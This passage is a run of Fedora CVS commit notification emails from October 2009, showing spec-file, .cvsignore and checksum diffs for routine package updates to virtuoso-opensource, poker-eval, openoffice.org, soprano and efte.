--- virtuoso-opensource.spec	26 Aug 2009 14:06:35 -0000	1.3
+++ virtuoso-opensource.spec	11 Oct 2009 19:54:44 -0000	1.4
@@ -1,13 +1,17 @@
+
+%define snap 20090916
+
 Name:	 virtuoso-opensource
-Version: 5.0.11
-Release: 4%{?dist}
+Version: 5.0.12
+Release: 0.1.rc9.%{snap}%{?dist}
 Summary: A high-performance object-relational SQL database
 
 Group:   Applications/Databases
 # see LICENSE for exception details
 License: GPLv2 with exceptions
 URL:	 http://virtuoso.sourceforge.net/
-Source0: http://download.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+#Source0: http://download.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+Source0: ftp://download.openlinksw.com/support/vos/virtuoso-opensource-%{snap}.tar.gz
 Patch1:  virtuoso-opensource-5.0.11-openssl.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -21,6 +25,7 @@ BuildRequires: htmldoc
 BuildRequires: openldap-devel
 BuildRequires: openssl-devel
 BuildRequires: libxml2-devel
+BuildRequires: zlib-devel
 
 Provides: virtuoso = %{version}-%{release}
 
@@ -66,7 +71,7 @@ Requires: %{name} = %{version}-%{release
 
 
 %prep
-%setup -q -n virtuoso-opensource-%{version}
+%setup -q -n virtuoso-opensource%{!?snap:-%{version}}%{?snap:-%{snap}}
 %patch1 -p1 -b .openssl
 
 
@@ -75,6 +80,7 @@ Requires: %{name} = %{version}-%{release
 %configure \
   --with-layout=redhat \
   --enable-shared --disable-static \
+  --without-internal-zlib \
   --with-debug
 
 # smp busted
@@ -141,6 +147,9 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Sun Oct 11 2009 Rex Dieter <rdieter at fedoraproject.rog> 5.0.12-0.1.rc9.20090916
+- virtuoso-opensource-20090916 (5.0.12-rc9)
+
 * Wed Aug 26 2009 Tomas Mraz <tmraz at redhat.com> - 5.0.11-4
 - rebuilt with new openssl
 



From xulchris at fedoraproject.org  Sun Oct 11 19:54:52 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 19:54:52 +0000 (UTC)
Subject: rpms/poker-eval/F-10 .cvsignore, 1.7, 1.8 poker-eval.spec, 1.19,
	1.20 sources, 1.7, 1.8 poker-eval-135.0-exit.patch, 1.1, NONE
Message-ID: <20091011195452.7215711C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-eval/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26192/F-10

Modified Files:
	.cvsignore poker-eval.spec sources 
Removed Files:
	poker-eval-135.0-exit.patch 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-10/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	2 Jan 2009 01:31:20 -0000	1.7
+++ .cvsignore	11 Oct 2009 19:54:52 -0000	1.8
@@ -1 +1 @@
-poker-eval-135.0.tar.gz
+poker-eval-136.0.tar.gz


Index: poker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-10/poker-eval.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- poker-eval.spec	2 Jan 2009 01:31:20 -0000	1.19
+++ poker-eval.spec	11 Oct 2009 19:54:52 -0000	1.20
@@ -1,5 +1,5 @@
 Name:           poker-eval
-Version:        135.0
+Version:        136.0
 Release:        1%{?dist}
 Summary:        Poker hand evaluator library
 
@@ -8,10 +8,10 @@ License:        GPLv2+
 URL:            http://pokersource.org/poker-eval
 Source0:        http://download.gna.org/pokersource/sources/%{name}-%{version}.tar.gz
 Patch0:         %{name}-134.0-multiarch.patch
-Patch1:         %{name}-135.0-exit.patch
+# Workaround to BZ 485664
+Patch3:         %{name}-135.0-bash4.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-
 %description
 This package is a free (GPL) toolkit for writing programs which
 simulate or analyze poker games.
@@ -31,7 +31,7 @@ use poker-eval.
 %prep
 %setup -q
 %patch0 -p0 -b .multiarch~
-%patch1 -p0 -b .exit~
+%patch3 -p0 -b .bash4~
 
 # use examples/ directory for devel package %doc section
 mkdir -p tmp/examples && cp examples/*.c tmp/examples
@@ -78,6 +78,24 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 136.0-1
+- Upstream sync
+- Remove no longer needed exit patch
+- Remove no longer needed gcc44 patch
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 135.0-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 135.0-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Mon Feb 16 2009 Ralf Corsepius <corsepiu at fedoraproject.org> 135.0-3
+- Add poker-eval-135.0-bash4.patch to work around BZ485664.
+
+* Sun Feb 15 2009 Ralf Corsepius <corsepiu at fedoraproject.org> 135.0-2
+- Add poker-eval-135.0-gcc44.patch to work around BZ485619 killing
+  building poker3d (BZ 485633).
+
 * Thu Jan 01 2009 Christopher Stone <chris.stone at gmail.com> 135.0-1
 - Upstream sync
 - Add patch to remove exit calls from library


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	2 Jan 2009 01:31:20 -0000	1.7
+++ sources	11 Oct 2009 19:54:52 -0000	1.8
@@ -1 +1 @@
-17c31abfc40fe8719e9496f089e68df3  poker-eval-135.0.tar.gz
+7707f88e5ff93dcdb4c14d6f1a7a825c  poker-eval-136.0.tar.gz


--- poker-eval-135.0-exit.patch DELETED ---



From xulchris at fedoraproject.org  Sun Oct 11 19:54:53 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 19:54:53 +0000 (UTC)
Subject: rpms/poker-eval/devel .cvsignore, 1.7, 1.8 poker-eval.spec, 1.23,
	1.24 sources, 1.7, 1.8
Message-ID: <20091011195453.75D1511C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-eval/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26192/devel

Modified Files:
	.cvsignore poker-eval.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	2 Jan 2009 01:31:21 -0000	1.7
+++ .cvsignore	11 Oct 2009 19:54:53 -0000	1.8
@@ -1 +1 @@
-poker-eval-135.0.tar.gz
+poker-eval-136.0.tar.gz


Index: poker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/devel/poker-eval.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- poker-eval.spec	26 Jul 2009 19:03:35 -0000	1.23
+++ poker-eval.spec	11 Oct 2009 19:54:53 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           poker-eval
-Version:        135.0
-Release:        5%{?dist}
+Version:        136.0
+Release:        1%{?dist}
 Summary:        Poker hand evaluator library
 
 Group:          Development/Libraries
@@ -8,11 +8,8 @@ License:        GPLv2+
 URL:            http://pokersource.org/poker-eval
 Source0:        http://download.gna.org/pokersource/sources/%{name}-%{version}.tar.gz
 Patch0:         %{name}-134.0-multiarch.patch
-Patch1:         %{name}-135.0-exit.patch
-# Workaround to BZ 485619, triggered when building poker3d
-Patch2:         %{name}-135.0-gcc44.patch
 # Workaround to BZ 485664
-Patch3:		%{name}-135.0-bash4.patch
+Patch3:         %{name}-135.0-bash4.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -34,8 +31,6 @@ use poker-eval.
 %prep
 %setup -q
 %patch0 -p0 -b .multiarch~
-%patch1 -p0 -b .exit~
-%patch2 -p0 -b .gcc44~
 %patch3 -p0 -b .bash4~
 
 # use examples/ directory for devel package %doc section
@@ -83,6 +78,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 136.0-1
+- Upstream sync
+- Remove no longer needed exit patch
+- Remove no longer needed gcc44 patch
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 135.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	2 Jan 2009 01:31:21 -0000	1.7
+++ sources	11 Oct 2009 19:54:53 -0000	1.8
@@ -1 +1 @@
-17c31abfc40fe8719e9496f089e68df3  poker-eval-135.0.tar.gz
+7707f88e5ff93dcdb4c14d6f1a7a825c  poker-eval-136.0.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 19:54:53 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 19:54:53 +0000 (UTC)
Subject: rpms/poker-eval/F-12 .cvsignore, 1.7, 1.8 poker-eval.spec, 1.23,
	1.24 sources, 1.7, 1.8 poker-eval-135.0-exit.patch, 1.1,
	NONE poker-eval-135.0-gcc44.patch, 1.1, NONE
Message-ID: <20091011195453.2FE8211C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-eval/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26192/F-12

Modified Files:
	.cvsignore poker-eval.spec sources 
Removed Files:
	poker-eval-135.0-exit.patch poker-eval-135.0-gcc44.patch 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	2 Jan 2009 01:31:21 -0000	1.7
+++ .cvsignore	11 Oct 2009 19:54:52 -0000	1.8
@@ -1 +1 @@
-poker-eval-135.0.tar.gz
+poker-eval-136.0.tar.gz


Index: poker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-12/poker-eval.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- poker-eval.spec	26 Jul 2009 19:03:35 -0000	1.23
+++ poker-eval.spec	11 Oct 2009 19:54:53 -0000	1.24
@@ -1,6 +1,6 @@
 Name:           poker-eval
-Version:        135.0
-Release:        5%{?dist}
+Version:        136.0
+Release:        1%{?dist}
 Summary:        Poker hand evaluator library
 
 Group:          Development/Libraries
@@ -8,11 +8,8 @@ License:        GPLv2+
 URL:            http://pokersource.org/poker-eval
 Source0:        http://download.gna.org/pokersource/sources/%{name}-%{version}.tar.gz
 Patch0:         %{name}-134.0-multiarch.patch
-Patch1:         %{name}-135.0-exit.patch
-# Workaround to BZ 485619, triggered when building poker3d
-Patch2:         %{name}-135.0-gcc44.patch
 # Workaround to BZ 485664
-Patch3:		%{name}-135.0-bash4.patch
+Patch3:         %{name}-135.0-bash4.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -34,8 +31,6 @@ use poker-eval.
 %prep
 %setup -q
 %patch0 -p0 -b .multiarch~
-%patch1 -p0 -b .exit~
-%patch2 -p0 -b .gcc44~
 %patch3 -p0 -b .bash4~
 
 # use examples/ directory for devel package %doc section
@@ -83,6 +78,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 136.0-1
+- Upstream sync
+- Remove no longer needed exit patch
+- Remove no longer needed gcc44 patch
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 135.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	2 Jan 2009 01:31:21 -0000	1.7
+++ sources	11 Oct 2009 19:54:53 -0000	1.8
@@ -1 +1 @@
-17c31abfc40fe8719e9496f089e68df3  poker-eval-135.0.tar.gz
+7707f88e5ff93dcdb4c14d6f1a7a825c  poker-eval-136.0.tar.gz


--- poker-eval-135.0-exit.patch DELETED ---


--- poker-eval-135.0-gcc44.patch DELETED ---



From xulchris at fedoraproject.org  Sun Oct 11 19:54:52 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 19:54:52 +0000 (UTC)
Subject: rpms/poker-eval/F-11 .cvsignore, 1.7, 1.8 poker-eval.spec, 1.22,
	1.23 sources, 1.7, 1.8 poker-eval-135.0-exit.patch, 1.1,
	NONE poker-eval-135.0-gcc44.patch, 1.1, NONE
Message-ID: <20091011195452.BF3C311C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-eval/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26192/F-11

Modified Files:
	.cvsignore poker-eval.spec sources 
Removed Files:
	poker-eval-135.0-exit.patch poker-eval-135.0-gcc44.patch 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	2 Jan 2009 01:31:21 -0000	1.7
+++ .cvsignore	11 Oct 2009 19:54:52 -0000	1.8
@@ -1 +1 @@
-poker-eval-135.0.tar.gz
+poker-eval-136.0.tar.gz


Index: poker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-11/poker-eval.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- poker-eval.spec	27 Feb 2009 01:22:27 -0000	1.22
+++ poker-eval.spec	11 Oct 2009 19:54:52 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           poker-eval
-Version:        135.0
-Release:        4%{?dist}
+Version:        136.0
+Release:        1%{?dist}
 Summary:        Poker hand evaluator library
 
 Group:          Development/Libraries
@@ -8,11 +8,8 @@ License:        GPLv2+
 URL:            http://pokersource.org/poker-eval
 Source0:        http://download.gna.org/pokersource/sources/%{name}-%{version}.tar.gz
 Patch0:         %{name}-134.0-multiarch.patch
-Patch1:         %{name}-135.0-exit.patch
-# Workaround to BZ 485619, triggered when building poker3d
-Patch2:         %{name}-135.0-gcc44.patch
 # Workaround to BZ 485664
-Patch3:		%{name}-135.0-bash4.patch
+Patch3:         %{name}-135.0-bash4.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -34,8 +31,6 @@ use poker-eval.
 %prep
 %setup -q
 %patch0 -p0 -b .multiarch~
-%patch1 -p0 -b .exit~
-%patch2 -p0 -b .gcc44~
 %patch3 -p0 -b .bash4~
 
 # use examples/ directory for devel package %doc section
@@ -83,6 +78,14 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 136.0-1
+- Upstream sync
+- Remove no longer needed exit patch
+- Remove no longer needed gcc44 patch
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 135.0-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 135.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	2 Jan 2009 01:31:21 -0000	1.7
+++ sources	11 Oct 2009 19:54:52 -0000	1.8
@@ -1 +1 @@
-17c31abfc40fe8719e9496f089e68df3  poker-eval-135.0.tar.gz
+7707f88e5ff93dcdb4c14d6f1a7a825c  poker-eval-136.0.tar.gz


--- poker-eval-135.0-exit.patch DELETED ---


--- poker-eval-135.0-gcc44.patch DELETED ---



From caolanm at fedoraproject.org  Sun Oct 11 19:57:30 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Sun, 11 Oct 2009 19:57:30 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2021,1.2022
Message-ID: <20091011195730.CFC2C11C00EC@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26910

Modified Files:
	openoffice.org.spec 
Log Message:
drop format


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2021
retrieving revision 1.2022
diff -u -p -r1.2021 -r1.2022
--- openoffice.org.spec	10 Oct 2009 16:09:41 -0000	1.2021
+++ openoffice.org.spec	11 Oct 2009 19:57:30 -0000	1.2022
@@ -1735,7 +1735,7 @@ unset HAVE_LD_HASH_STYLE
 unset DEFAULT_TO_ENGLISH_FOR_PACKING
 cd instsetoo_native/util
 #get an unpackaged raw install
-export PKGFORMATSWITCH="-format rpm -simple $RPM_BUILD_ROOT/%{instdir}"
+export PKGFORMATSWITCH="-simple $RPM_BUILD_ROOT/%{instdir}"
 export CLASSPATH=/usr/share/java/lucene.jar:/usr/share/java/lucene-contrib/lucene-analyzers.jar
 %if %{langpacks}
 for attempt in 1 2 3 4 5 6 7 8 9 10; do
@@ -1802,7 +1802,7 @@ pushd $RPM_BUILD_ROOT/%{brinstdir}/share
 ln -s ../../../../../%{baseinstdir}/share/uno_packages/cache cache
 popd
 %endif
-export PKGFORMATSWITCH="-format rpm -simple $RPM_BUILD_ROOT/%{instdir}"
+export PKGFORMATSWITCH="-simple $RPM_BUILD_ROOT/%{instdir}"
 export WITH_LANG="en-US"
 dmake sdkoo
 cd ../../



From rdieter at fedoraproject.org  Sun Oct 11 19:59:56 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun, 11 Oct 2009 19:59:56 +0000 (UTC)
Subject: rpms/soprano/devel .cvsignore, 1.23, 1.24 soprano.spec, 1.38,
	1.39 sources, 1.23, 1.24
Message-ID: <20091011195956.372D511C00EC@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/soprano/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27571

Modified Files:
	.cvsignore soprano.spec sources 
Log Message:
* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.63-0.1.20091009
- soprano-2.3.63 (20091009 snapshot)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/soprano/devel/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	14 Sep 2009 23:23:19 -0000	1.23
+++ .cvsignore	11 Oct 2009 19:59:55 -0000	1.24
@@ -1 +1 @@
-soprano-2.3.1.tar.bz2
+soprano-20091009svn.tar.bz2


Index: soprano.spec
===================================================================
RCS file: /cvs/pkgs/rpms/soprano/devel/soprano.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- soprano.spec	14 Sep 2009 23:23:20 -0000	1.38
+++ soprano.spec	11 Oct 2009 19:59:55 -0000	1.39
@@ -4,15 +4,18 @@
 # set this to 0 to disable -apidocs for a faster build
 %define apidocs 1 
 
+%define snap 20091009
+
 Summary: Qt wrapper API to different RDF storage solutions
 Name:    soprano
-Version: 2.3.1
-Release: 1%{?dist}
+Version: 2.3.63
+Release: 0.1.%{snap}%{?dist}
 
 Group:   System Environment/Libraries
 License: LGPLv2+
 URL:     http://sourceforge.net/projects/soprano
-Source0: http://downloads.sf.net/soprano/soprano-%{version}.tar.bz2
+#Source0: http://downloads.sf.net/soprano/soprano-%{version}.tar.bz2
+Source0: soprano-20091009svn.tar.bz2
 Source1: soprano-svn_checkout.sh 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -20,7 +23,7 @@ BuildRequires: clucene-core-devel >= 0.9
 BuildRequires: cmake
 BuildRequires: kde-filesystem
 # for backends/virtuoso
-#BuildRequires: libiodbc-devel
+BuildRequires: libiodbc-devel
 BuildRequires: qt4-devel
 BuildRequires: redland-devel >= 1.0.6
 BuildRequires: raptor-devel >= 1.4.15
@@ -59,7 +62,7 @@ format for easy browsing.
 
 
 %prep
-%setup -q -n soprano-%{version}
+%setup -q -n soprano%{!?snap:-%{version}}
 
 
 %build
@@ -121,6 +124,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.63-0.1.20091009
+- soprano-2.3.63 (20091009 snapshot)
+
 * Mon Sep 14 2009 Rex Dieter <rdieter at fedoraproject.org> - 2.3.1-1
 - soprano-2.3.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/soprano/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	14 Sep 2009 23:23:20 -0000	1.23
+++ sources	11 Oct 2009 19:59:56 -0000	1.24
@@ -1 +1 @@
-c9a2c008b80cd5d76599e9d48139dfe9  soprano-2.3.1.tar.bz2
+bb93e483a2de0c3527c7f6fb8ecf92f7  soprano-20091009svn.tar.bz2



From jussilehtola at fedoraproject.org  Sun Oct 11 20:07:02 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 11 Oct 2009 20:07:02 +0000 (UTC)
Subject: rpms/efte/EL-5 efte.spec,1.3,1.4 sources,1.2,1.3
Message-ID: <20091011200702.6053211C00EC@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/efte/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29457/EL-5

Modified Files:
	efte.spec sources 
Log Message:
Update to 1.1


Index: efte.spec
===================================================================
RCS file: /cvs/pkgs/rpms/efte/EL-5/efte.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- efte.spec	6 Aug 2009 17:14:36 -0000	1.3
+++ efte.spec	11 Oct 2009 20:07:00 -0000	1.4
@@ -1,6 +1,6 @@
 Name:		efte
-Version:	1.0
-Release:	7%{?dist}
+Version:	1.1
+Release:	1%{?dist}
 Summary:	A lightweight, extendable, folding text editor for X11
 Group:		Applications/Editors
 License:	GPLv2+ or Artistic
@@ -33,7 +33,7 @@ Requires:	efte-common = %{version}-%{rel
 # .. which makes a common data package necessary
 %package common
 Summary:	Common data files for efte/nefte
-Group:		Application/Editors
+Group:		Applications/Editors
 # Make the common package get removed when the editors are removed
 Requires:	efte(binary) = %{version}-%{release}
 %if 0%{?fedora} > 10
@@ -135,6 +135,9 @@ update-desktop-database &> /dev/null || 
 %{_datadir}/efte/
 
 %changelog
+* Sun Oct 11 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.1-1
+- Update to 1.1 which fixes a buffer overflow.
+
 * Thu Aug 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.0-7
 - Added Requires: xorg-x11-fonts-misc.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/efte/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Jul 2009 05:30:57 -0000	1.2
+++ sources	11 Oct 2009 20:07:00 -0000	1.3
@@ -1 +1 @@
-d7f9b5514ceeef371d91853e56ef8288  efte-1.0.tar.bz2
+f92974f8f438842bae3b837fe6eff099  efte-1.1.tar.bz2



From jussilehtola at fedoraproject.org  Sun Oct 11 20:07:02 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 11 Oct 2009 20:07:02 +0000 (UTC)
Subject: rpms/efte/F-10 efte.spec,1.2,1.3 sources,1.2,1.3
Message-ID: <20091011200703.373FA11C0260@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/efte/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29457/F-10

Modified Files:
	efte.spec sources 
Log Message:
Update to 1.1


Index: efte.spec
===================================================================
RCS file: /cvs/pkgs/rpms/efte/F-10/efte.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- efte.spec	6 Aug 2009 17:13:55 -0000	1.2
+++ efte.spec	11 Oct 2009 20:07:01 -0000	1.3
@@ -1,6 +1,6 @@
 Name:		efte
-Version:	1.0
-Release:	7%{?dist}
+Version:	1.1
+Release:	1%{?dist}
 Summary:	A lightweight, extendable, folding text editor for X11
 Group:		Applications/Editors
 License:	GPLv2+ or Artistic
@@ -33,7 +33,7 @@ Requires:	efte-common = %{version}-%{rel
 # .. which makes a common data package necessary
 %package common
 Summary:	Common data files for efte/nefte
-Group:		Application/Editors
+Group:		Applications/Editors
 # Make the common package get removed when the editors are removed
 Requires:	efte(binary) = %{version}-%{release}
 %if 0%{?fedora} > 10
@@ -135,6 +135,9 @@ update-desktop-database &> /dev/null || 
 %{_datadir}/efte/
 
 %changelog
+* Sun Oct 11 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.1-1
+- Update to 1.1 which fixes a buffer overflow.
+
 * Thu Aug 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.0-7
 - Added Requires: xorg-x11-fonts-misc.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/efte/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Jul 2009 05:30:57 -0000	1.2
+++ sources	11 Oct 2009 20:07:01 -0000	1.3
@@ -1 +1 @@
-d7f9b5514ceeef371d91853e56ef8288  efte-1.0.tar.bz2
+f92974f8f438842bae3b837fe6eff099  efte-1.1.tar.bz2



From jussilehtola at fedoraproject.org  Sun Oct 11 20:07:03 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 11 Oct 2009 20:07:03 +0000 (UTC)
Subject: rpms/efte/F-11 efte.spec,1.2,1.3 sources,1.2,1.3
Message-ID: <20091011200703.598B711C00EC@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/efte/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29457/F-11

Modified Files:
	efte.spec sources 
Log Message:
Update to 1.1


Index: efte.spec
===================================================================
RCS file: /cvs/pkgs/rpms/efte/F-11/efte.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- efte.spec	6 Aug 2009 17:13:56 -0000	1.2
+++ efte.spec	11 Oct 2009 20:07:01 -0000	1.3
@@ -1,6 +1,6 @@
 Name:		efte
-Version:	1.0
-Release:	7%{?dist}
+Version:	1.1
+Release:	1%{?dist}
 Summary:	A lightweight, extendable, folding text editor for X11
 Group:		Applications/Editors
 License:	GPLv2+ or Artistic
@@ -33,7 +33,7 @@ Requires:	efte-common = %{version}-%{rel
 # .. which makes a common data package necessary
 %package common
 Summary:	Common data files for efte/nefte
-Group:		Application/Editors
+Group:		Applications/Editors
 # Make the common package get removed when the editors are removed
 Requires:	efte(binary) = %{version}-%{release}
 %if 0%{?fedora} > 10
@@ -135,6 +135,9 @@ update-desktop-database &> /dev/null || 
 %{_datadir}/efte/
 
 %changelog
+* Sun Oct 11 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.1-1
+- Update to 1.1 which fixes a buffer overflow.
+
 * Thu Aug 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.0-7
 - Added Requires: xorg-x11-fonts-misc.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/efte/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Jul 2009 05:30:57 -0000	1.2
+++ sources	11 Oct 2009 20:07:02 -0000	1.3
@@ -1 +1 @@
-d7f9b5514ceeef371d91853e56ef8288  efte-1.0.tar.bz2
+f92974f8f438842bae3b837fe6eff099  efte-1.1.tar.bz2



From jussilehtola at fedoraproject.org  Sun Oct 11 20:07:04 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 11 Oct 2009 20:07:04 +0000 (UTC)
Subject: rpms/efte/F-12 efte.spec,1.4,1.5 sources,1.2,1.3
Message-ID: <20091011200704.BC67A11C00EC@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/efte/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29457/F-12

Modified Files:
	efte.spec sources 
Log Message:
Update to 1.1


Index: efte.spec
===================================================================
RCS file: /cvs/pkgs/rpms/efte/F-12/efte.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- efte.spec	6 Aug 2009 17:13:56 -0000	1.4
+++ efte.spec	11 Oct 2009 20:07:03 -0000	1.5
@@ -1,6 +1,6 @@
 Name:		efte
-Version:	1.0
